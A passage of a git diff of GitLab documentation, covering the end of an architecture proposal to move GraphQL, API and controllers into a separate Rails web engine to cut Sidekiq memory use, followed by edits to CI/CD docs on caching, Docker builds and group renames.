+ ee_paths = config.eager_load_paths.each_with_object([]) do |path, memo|
+ ee_path = config.root
+ .join('ee', Pathname.new(path).relative_path_from(config.root))
+ memo << ee_path.to_s
+ end
+ # Eager load should load CE first
+ config.eager_load_paths.push(*ee_paths)
+ end
+ end
+ end
+ ```
+
+1. Testing
+
+ We adapted CI to test `engines/web_engine/` as a self-sufficient component of stack.
+
+ - We moved `spec` as-is files to the `engines/web_engine/spec` folder
+ - We moved `ee/spec` as-is files to the `engines/web_engine/ee/spec` folder
+ - We control specs from main application using environment variable `TEST_WEB_ENGINE`
+ - We added new CI job that will run `engines/web_engine/spec` tests separately using `TEST_WEB_ENGINE` environment variable.
+ - We added new CI job that will run `engines/web_engine/ee/spec` tests separately using `TEST_WEB_ENGINE` environment variable.
+ - We are running all whitebox frontend tests with `TEST_WEB_ENGINE=true`
+
+#### Results
+
+The effect on introducing these changes:
+
+- Savings for RSS
+- 61.06 MB (7.76%) - Sidekiq without GraphQL
+- 100.11 MB (12.73%) - Sidekiq without GraphQL and API
+- 208.83 MB (26.56%) - Sidekiq without GraphQL, API, Controllers
+- The size of Web nodes (running Puma) stayed the same as before
+
+Savings on Sidekiq `start-up` event, for a single Sidekiq cluster without GraphQL, API, Controllers
+
+- We saved 264.13 MB RSS (28.69%)
+- We saved 264.09 MB USS (29.36%)
+- Boot-up time was reduced from 45.31 to 21.80 seconds. It was 23.51 seconds faster (51.89%)
+- We have 805,772 less live objects, 4,587,535 less allocated objects, 2,866 less allocated pages and 3.65 MB less allocated space for objects outside of the heap
+- We loaded 2,326 less code files (15.64%)
+- We reduced the duration of a single full GC cycle from 0.80s to 0.70 (12.64%)
+
+Puma single, showed very little difference as expected.
+
+More details can be found in the [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/300548#note_516323444).
+
+#### Impact on GitLab.com
+
+Estimating the results for the scale of running GitLab.com, today we use:
+
+- Currently individual GC cycle takes around [130ms for Web](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D)%2Frate(ruby_gc_duration_seconds_count%5B5m%5D))&g0.tab=0)
+ and [200ms for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D)%2Frate(ruby_gc_duration_seconds_count%5B5m%5D))&g0.tab=0) on GitLab.com
+- On average we do around [2 GC cycles per-second](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.end_input=2021-02-17%2017%3A56&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_count%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D))&g0.tab=0)
+ or [0.12 cycles per second for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.end_input=2021-02-17%2017%3A56&g0.max_source_resolution=0s&g0.expr=avg(rate(ruby_gc_duration_seconds_count%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D))&g0.tab=0)
+- This translates to using [around 9.5 vCPUs per-second for Web](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22web%22%7D%5B5m%5D))&g0.tab=0)
+ and [around 8 vCPUs per-second for Sidekiq](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(rate(ruby_gc_duration_seconds_sum%7Bstage%3D%22main%22%2Ctype%3D%22sidekiq%22%7D%5B5m%5D))&g0.tab=0) of spend on GC alone
+- Sidekiq [uses 2.1GB on average](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=max(ruby_process_unique_memory_bytes%7Btype%3D%22sidekiq%22%7D)%2F1024%2F1024%2F1024&g0.tab=1)
+ or [550GB in total](https://thanos-query.ops.gitlab.net/graph?g0.range_input=1h&g0.max_source_resolution=0s&g0.expr=sum(ruby_process_unique_memory_bytes%7Btype%3D%22sidekiq%22%7D)%2F1024%2F1024%2F1024&g0.tab=0) of memory on GitLab.com
+
+We estimate the possible maximum savings for introducing `web_engine`:
+
+- Reduce a GC cycle time by 20%, from to 200ms to 160ms
+- The amount of GC cycles per-second would stay the same, but due to GC cycle time reduction we would use around 6 vCPUs instead of 8 vCPUs
+- In the best case we would be looking at Sidekiq alone we would be estimating to save up-to 137GB of memory on GitLab.com
+
+This model could be extended to introduce `sidekiq_engine` giving a similar benefits
+(even more important due to visible impact on users) for Web nodes.
+
+#### Outcome
+
+We achieved a number of benefits introducing these changes.
+
+Pros:
+
+- Significantly lower memory usage
+- Significantly shorter application load time for Sidekiq
+- Significantly improved responsiveness of Sidekiq service due to much shorter GC cycles
+- Significantly easier testing of a portion of application, ex. changing `web_engines/` does require
+ re-running test only for this application layer
+- We retained a monolithic architecture of the codebase, but sharing database and application models
+- A significant saving from the infrastructure side
+- Ability to comfortably run on constrained environments by reducing application footprint
+
+Cons:
+
+- It is harder to implement GraphQL subscriptions as in case of Sidekiq as we need another way to pass subscriptions
+- `api_v4` paths can be used in some services that are used by Sidekiq (e.g. `api_v4_projects_path`)
+- url_helpers paths are used in models and services, that could be used by Sidekiq (e.g. `Gitlab::Routing.url_helpers.project_pipelines_path` is used by [ExpirePipelineCacheService](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/expire_pipeline_cache_service.rb#L20) in [ExpirePipelineCacheWorker](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/expire_pipeline_cache_worker.rb#L18))
+
+#### Example: GraphQL
+
+[Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180)
+
+- The [99% of changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=49c9881c6696eb620dccac71532a3173f5702ea8) as visible in the above MRs is moving files as-is.
+- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=1d9a9edfa29ea6638e7d8a6712ddf09f5be77a44) on fixing cross-dependencies, specs, and configuring web_engine
+- We [adapted](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180/diffs?commit_id=d7f862cc209ce242000b2aec88ff7f4485acdd92) CI to test `engines/web_engine/` as a self-sufficient component of stack
+
+Today, loading GraphQL requires a bunch of [dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/288044):
+
+> We also discovered that we load/require 14480 files, [memory-team-2gb-week#9](https://gitlab.com/gitlab-org/memory-team/memory-team-2gb-week/-/issues/9#note_452530513)
+> when we start GitLab. 1274 files belong to GraphQL. This means that if we don't load 1274 application files
+> and all related GraphQL gems when we don't need them (Sidekiq), we could save a lot of memory.
+
+GraphQL only needs to run in a specific context. If we could limit when it is being loaded we could effectively improve application efficiency, by reducing application load time and required memory. This, for example, is applicable for every size installation.
+
+A potential challenge with GraphQL and Websockets is that at some point we might want to use Action Cable subscriptions and push GraphQL/API payload from Sidekiq to clients. This would likely utilize Redis to pass data through. Where Sidekiq would publish information on Redis and ActionCable Node would pass through that information to connected clients. This way of working is possible in the above model, but we would have to use GraphQL or API (over HTTP endpoint) to calculate what should be sent.
+
+An alternative way is to use a notification system that would always make an `ActionCable` node (the one handling WebSockets) generate a payload based on a send query instead of performing passthrough. This could be applicable since `ActionCable` is the one handling a given connection for a client. This could have a downside of having to recalculate the same payload if many clients would be watching the same resource. However, this behavior of system might still be desired for security purposes, as generated payload might be dependent on permission of watching client (we would show different for anonymous, and different for the member of the project).
+
+#### Example: API
+
+[Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982)
+
+- [99% of the changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982/diffs?commit_id=c8b72249b6e8f875ed4c713f0668207377604043), as visible in the above MRs, are moving the files as-is.
+- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982/diffs?commit_id=00d9b54ba952c85ff4d158a18205c2fac13eaf8d) on fixing cross-dependencies, specs, configuring initializers, gems and routes.
+
+Grape::API is another example that only needs to run only in a web server context.
+
+Potential challenges with Grape API:
+
+- Currently there are some API::API dependencies in the models (e.g. `API::Helpers::Version` dependency in [project model](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/project.rb#L2019) or API::API dependency in GeoNode model for [`geo_retrieve_url`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/geo_node.rb#L183))
+- `api_v4` paths are used in helpers, presenters, and views (e.g. `api_v4_projects_path` in [PackagesHelper](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/packages_helper.rb#L17))
+
+#### Example: Controllers
+
+[Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720)
+
+- [99% of the changes](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720/diffs?commit_id=17174495cf3263c8e69a0420092d9fa759170aa6), as visible in the above MRs, are moving files as-is.
+- The [actual work](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720/diffs?commit_id=39cc4bb1e0ce47f66605d06eb1b0d6b89ba174e6) on fixing cross-dependencies, specs, configuring initializers, gems and routes.
+
+Controllers, Serializers, some presenters and some of the Grape:Entities are also good examples that only need to be run in web server context.
+
+Potential challenges with moving Controllers:
+
+- We needed to extend `Gitlab::Patch::DrawRoute` in order to support `engines/web_engine/config/routes` and `engines/web_engine/ee/config/routes` in case when `web_engine` is loaded. Here is potential [solution](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720#note_506957398).
+- `Gitlab::Routing.url_helpers` paths are used in models and services, that could be used by Sidekiq (e.g. `Gitlab::Routing.url_helpers.project_pipelines_path` is used by [ExpirePipelineCacheService](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/expire_pipeline_cache_service.rb#L20) in [ExpirePipelineCacheWorker](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/expire_pipeline_cache_worker.rb#L18)))
+
+### Packwerk
+
+NOTE:
+Packwerk is currently accepting bug fixes only, and it is not being actively developed. Check for [more details](https://github.com/Shopify/packwerk#note-packwerk-is-considered-to-be-feature-complete-for-shopifys-uses-we-are-currently-accepting-bug-fixes-only-and-it-is-not-being-actively-developed-please-fork-this-project-if-you-are-interested-in-adding-new-features)
+
+## Future impact
+
+**Application Layers** and this proposal currently defines only `web_engine`. Following the same pattern we could easily introduce
+additional engines dedicated for supporting that would allow us to maintain much better separation, lower memory usage
+and much better maintainability of GitLab Rails into the future.
+
+This would be a framework for introducing all new interfaces for features that do not need to be part of the core codebase,
+like support for additional Package services. Allowing us to better scale application in the future, but retaining a single codebase
+and monolithic architecture of GitLab.
+
+As of today, it seems reasonable to define three **application layers**:
+
+- `gitlab-core`: a core functionality: DB structure, models, services, common library. It models a data access layer, and initially all services needed to run GitLab. This might be potentially be split in the future into smaller aspects
+- `gitlab-web`: a Controllers/API/GraphQL/ActionCable functionality needed to run in a web server context (depends on `gitlab-core`)
+- `gitlab-sidekiq`: a background jobs functionality needed to run Sidekiq Workers (depends on `gitlab-core`)
+
+This model is best described today as a shared core with satellite. The shared core defines data access layer, where as satellites define a way to present and process this data. Satellites can only talk with Core. They cannot directly load or talk to another satellite unless they use a well defined interface in form of API, GraphQL or Redis (as for scheduling Sidekiq jobs).
+
+It is reasonable to assume that we limit how many `engines` we allow. Initial proposal is to allow up to 5 engines
+to be created to ensure that we do not have explosion of engines.
+
+## Issues and Merge Requests
+
+- [Split application into functional parts to ensure that only needed code is loaded with all dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/290935)
+- [Provide mechanism to load GraphQL with all dependencies only when needed](https://gitlab.com/gitlab-org/gitlab/-/issues/288044)
+- [Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180)
+- [Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720)
+- [Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982)
+- [Measure performance impact for proposed web_engine](https://gitlab.com/gitlab-org/gitlab/-/issues/300548)
+- [Create new models / classes within a module / namespace](https://gitlab.com/gitlab-org/gitlab/-/issues/212156)
+- [Make teams to be maintainers of their code](https://gitlab.com/gitlab-org/gitlab/-/issues/25872)
+- [Use nested structure to organize CI classes](https://gitlab.com/gitlab-org/gitlab/-/issues/209745)
+- [WIP: Make it simple to build and use "Decoupled Services"](https://gitlab.com/gitlab-org/gitlab/-/issues/31121)
+- [Rails takes awhile to boot, let's see if we can improve this](https://gitlab.com/gitlab-org/gitlab/-/issues/213992)
+
+## Who
+
+Proposal:
+
+<!-- vale gitlab.Spelling = NO -->
+
+| Role | Who
+|------------------------------|-------------------------|
+| Author | Kamil Trzciński |
+| Architecture Evolution Coach | ? |
+| Engineering Leader | ? |
+
+DRIs:
+
+| Role | Who
+|------------------------------|------------------------|
+| Product | ? |
+| Leadership | Craig Gomes |
+| Engineering | ? |
+
+Domain Experts:
+
+| Role | Who
+|------------------------------|------------------------|
+| Domain Expert | Nikola Milojevic |
+| Domain Expert | ? |
+| Domain Expert | ? |
+
+<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/architecture/blueprints/container_registry_metadata_database/index.md b/doc/architecture/blueprints/container_registry_metadata_database/index.md
index 86628b31536..403a1a1130a 100644
--- a/doc/architecture/blueprints/container_registry_metadata_database/index.md
+++ b/doc/architecture/blueprints/container_registry_metadata_database/index.md
@@ -1,6 +1,6 @@
---
-stage: package
-group: package
+stage: Package
+group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
comments: false
description: 'Container Registry metadata database'
@@ -122,7 +122,7 @@ For similar reasons as highlighted above, currently, it's not feasible to extrac
#### Additional Features
-Due to the metadata limitations, it's currently not feasible to implement valuable features such as [pagination](https://gitlab.com/gitlab-org/container-registry/-/issues/13#note_271769891), filtering and sorting for HTTP API, and more advanced features such as the ability to [distinguish between Docker and Helm charts images](https://gitlab.com/gitlab-org/gitlab/issues/38047).
+Due to the metadata limitations, it's currently not feasible to implement valuable features such as [pagination](https://gitlab.com/gitlab-org/container-registry/-/issues/13#note_271769891), filtering and sorting for HTTP API, and more advanced features such as the ability to [distinguish between Docker and Helm charts images](https://gitlab.com/gitlab-org/gitlab/-/issues/38047).
Because of all these constraints, we decided to [freeze the development of new features](https://gitlab.com/gitlab-org/container-registry/-/issues/44) until we have a solution in place to overcome all these foundational limitations.
diff --git a/doc/ci/README.md b/doc/ci/README.md
index 30a6668dbfd..dc4312250ca 100644
--- a/doc/ci/README.md
+++ b/doc/ci/README.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application."
@@ -70,7 +70,7 @@ GitLab CI/CD supports numerous configuration options:
| Configuration | Description |
|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------|
| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. |
-| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-path) | Define a custom path for the CI/CD configuration file. |
+| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. |
| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. |
| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. |
| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. |
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index f2cb9500b2c..0778d598d32 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -1,77 +1,39 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
-# Cache dependencies in GitLab CI/CD
+# Caching in GitLab CI/CD
-GitLab CI/CD provides a caching mechanism that can be used to save time
-when your jobs are running.
+A cache is one or more files that a job downloads and saves. Subsequent jobs that use
+the same cache don't have to download the files again, so they execute more quickly.
-Caching is about speeding the time a job is executed by reusing the same
-content of a previous job. Use caching when you are
-developing software that depends on other libraries which are fetched via the
-internet during build time.
+To learn how to define the cache in your `.gitlab-ci.yml` file,
+see the [`cache` reference](../yaml/README.md#cache).
-If caching is enabled, it's shared between pipelines and jobs at the project
-level by default. Caches are not shared across projects.
+## How cache is different from artifacts
-Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn
-how it is defined in `.gitlab-ci.yml`.
+Use cache for dependencies, like packages you download from the internet.
+Cache is stored where GitLab Runner is installed and uploaded to S3 if
+[distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching).
-## Cache vs artifacts
+- You can define it per job by using the `cache:` keyword. Otherwise it is disabled.
+- You can define it per job so that:
+ - Subsequent pipelines can use it.
+ - Subsequent jobs in the same pipeline can use it, if the dependencies are identical.
+- You cannot share it between projects.
-If you use cache and artifacts to store the same path in your jobs, the cache might
-be overwritten because caches are restored before artifacts.
-
-Don't use caching for passing artifacts between stages, as it is designed to store
-runtime dependencies needed to compile the project:
-
-- `cache`: **For storing project dependencies**
-
- Caches can increase the speed of a given job in subsequent pipelines. You can
- store downloaded dependencies so that they don't have to be fetched from the
- internet again. Dependencies include things like npm packages, Go vendor packages, and so on.
- You can configure a cache to pass intermediate build results between stages,
- but you should use artifacts instead.
-
-- `artifacts`: **Use for stage results that are passed between stages.**
-
- Artifacts are files that are generated by a job so they can be stored and uploaded. You can
- fetch and use artifacts in jobs in later stages of the same pipeline. You can't
- create an artifact in a job in one stage, and use this artifact in a different job in
- the same stage. This data is not available in different pipelines, but can be downloaded
- from the UI.
-
- If you download modules while building your application, you can declare them as
- artifacts and subsequent stage jobs can use them.
+Use artifacts to pass intermediate build results between stages.
+Artifacts are generated by a job, stored in GitLab, and can be downloaded.
- You can define an [expiry time](../yaml/README.md#artifactsexpire_in) so artifacts
- are deleted after a defined time. Use [dependencies](../yaml/README.md#dependencies)
- to control which jobs fetch the artifacts.
+- You can define artifacts per job. Subsequent jobs in later stages of the same
+ pipeline can use them.
+- You can't use the artifacts in a different pipeline.
- Artifacts can also be used to make files available for download after a pipeline
- completes, like a build image.
-
-Caches:
-
-- Are disabled if not defined globally or per job (using `cache:`).
-- Are available for all jobs in your `.gitlab-ci.yml` if enabled globally.
-- Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally).
-- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching).
-- If defined per job, are used:
- - By the same job in a subsequent pipeline.
- - By subsequent jobs in the same pipeline, if they have identical dependencies.
-
-Artifacts:
-
-- Are disabled if not defined per job (using `artifacts:`).
-- Can only be enabled per job, not globally.
-- Are created during a pipeline and can be used by subsequent jobs in the same pipeline.
-- Are always uploaded to GitLab (known as coordinator).
-- Can have an expiration value for controlling disk usage (30 days by default).
+Artifacts expire after 30 days unless you define an [expiration time](../yaml/README.md#artifactsexpire_in).
+Use [dependencies](../yaml/README.md#dependencies) to control which jobs fetch the artifacts.
Both artifacts and caches define their paths relative to the project directory, and
can't link to files outside it.
@@ -81,10 +43,9 @@ can't link to files outside it.
To ensure maximum availability of the cache, when you declare `cache` in your jobs,
use one or more of the following:
-- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
+- [Tag your runners](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
that share their cache.
-- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
- that are only available to a particular project.
+- [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects).
- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
different caches on each branch). For that, you can take advantage of the
[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables).
@@ -102,7 +63,7 @@ For runners to work with caches efficiently, you must do one of the following:
Read about the [availability of the cache](#availability-of-the-cache)
to learn more about the internals and get a better idea how cache works.
-### Share caches across the same branch
+### Share caches between jobs in the same branch
Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each
branch always use the same cache:
@@ -130,7 +91,7 @@ cache:
key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
```
-### Share caches across different branches
+### Share caches across jobs in different branches
To share a cache across all branches and all jobs, use the same key for everything:
@@ -146,7 +107,7 @@ cache:
key: ${CI_JOB_NAME}
```
-### Disable cache on specific jobs
+### Disable cache for specific jobs
If you have defined the cache globally, it means that each job uses the
same definition. You can override this behavior per-job, and if you want to
@@ -189,7 +150,7 @@ The most common use case of caching is to avoid downloading content like depende
or libraries repeatedly between subsequent runs of jobs. Node.js packages,
PHP packages, Ruby gems, Python libraries, and others can all be cached.
-For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates).
+For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
### Cache Node.js dependencies
@@ -201,7 +162,7 @@ Instead, we tell npm to use `./.npm`, and cache it per-branch:
```yaml
#
-# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
+# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
#
image: node:latest
@@ -219,7 +180,7 @@ test_async:
- node ./specs/start.js ./specs/async.spec.js
```
-### Caching PHP dependencies
+### Cache PHP dependencies
Assuming your project is using [Composer](https://getcomposer.org/) to install
the PHP dependencies, the following example defines `cache` globally so that
@@ -228,7 +189,7 @@ are cached per-branch:
```yaml
#
-# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
+# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml
#
image: php:7.2
@@ -248,7 +209,7 @@ test:
- vendor/bin/phpunit --configuration phpunit.xml --coverage-text --colors=never
```
-### Caching Python dependencies
+### Cache Python dependencies
Assuming your project is using [pip](https://pip.pypa.io/en/stable/) to install
the Python dependencies, the following example defines `cache` globally so that
@@ -257,7 +218,7 @@ pip's cache is defined under `.cache/pip/` and both are cached per-branch:
```yaml
#
-# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml
+# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml
#
image: python:latest
@@ -289,7 +250,7 @@ test:
- flake8 .
```
-### Caching Ruby dependencies
+### Cache Ruby dependencies
Assuming your project is using [Bundler](https://bundler.io) to install the
gem dependencies, the following example defines `cache` globally so that all
@@ -297,7 +258,7 @@ jobs inherit it. Gems are installed in `vendor/ruby/` and are cached per-branch:
```yaml
#
-# https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
+# https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
#
image: ruby:2.6
@@ -347,7 +308,7 @@ deploy_job:
- bundle exec deploy
```
-### Caching Go dependencies
+### Cache Go dependencies
Assuming your project is using [Go Modules](https://github.com/golang/go/wiki/Modules) to install
Go dependencies, the following example defines `cache` in a `go-cache` template, that
@@ -396,6 +357,9 @@ machine where the runner is installed and depends on the type of the executor.
| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. |
| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. |
+If you use cache and artifacts to store the same path in your jobs, the cache might
+be overwritten because caches are restored before artifacts.
+
### How archiving and extracting works
This example has two jobs that belong to two consecutive stages:
diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md
index c94d6e3ea80..577a80407d7 100644
--- a/doc/ci/chatops/README.md
+++ b/doc/ci/chatops/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-01'
---
This document was moved to [another location](index.md).
diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
index 38930eb60ad..4d3f12dff05 100644
--- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md
index deadc4458a2..c6fa049dc6e 100644
--- a/doc/ci/ci_cd_for_external_repos/github_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/github_integration.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/ci/ci_cd_for_external_repos/index.md b/doc/ci/ci_cd_for_external_repos/index.md
index cc6c629fb47..8c961ea6128 100644
--- a/doc/ci/ci_cd_for_external_repos/index.md
+++ b/doc/ci/ci_cd_for_external_repos/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, howto
---
diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md
index dab9d8b78ae..e9725a29fc7 100644
--- a/doc/ci/directed_acyclic_graph/index.md
+++ b/doc/ci/directed_acyclic_graph/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md
index c94d6e3ea80..577a80407d7 100644
--- a/doc/ci/docker/README.md
+++ b/doc/ci/docker/README.md
@@ -1,5 +1,6 @@
---
redirect_to: 'index.md'
+remove_date: '2021-05-01'
---
This document was moved to [another location](index.md).
diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md
index 0897bb183e5..20599c5ca85 100644
--- a/doc/ci/docker/index.md
+++ b/doc/ci/docker/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index 90a33478239..9dac08324c8 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -25,9 +25,8 @@ To enable Docker commands for your CI/CD jobs, you can use:
If you don't want to execute a runner in privileged mode,
but want to use `docker build`, you can also [use kaniko](using_kaniko.md).
-If you are using shared runners on GitLab.com, see
-[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
-to learn more about how these runners are configured.
+If you are using shared runners on GitLab.com,
+[learn more about how these runners are configured](../runners/README.md).
### Use the shell executor
@@ -91,7 +90,7 @@ The Docker image has all of the `docker` tools installed and can run
the job script in context of the image in privileged mode.
We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled),
-which is supported by [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners).
+which is supported by [GitLab.com shared runners](../runners/README.md).
You should always specify a specific version of the image, like `docker:19.03.12`.
If you use a tag like `docker:stable`, you have no control over which version is used.
diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md
index 173701ef358..29f4053f720 100644
--- a/doc/ci/docker/using_docker_images.md
+++ b/doc/ci/docker/using_docker_images.md
@@ -128,6 +128,10 @@ For example, the following two definitions are equal:
- name: redis:latest
```
+## Where scripts are executed
+
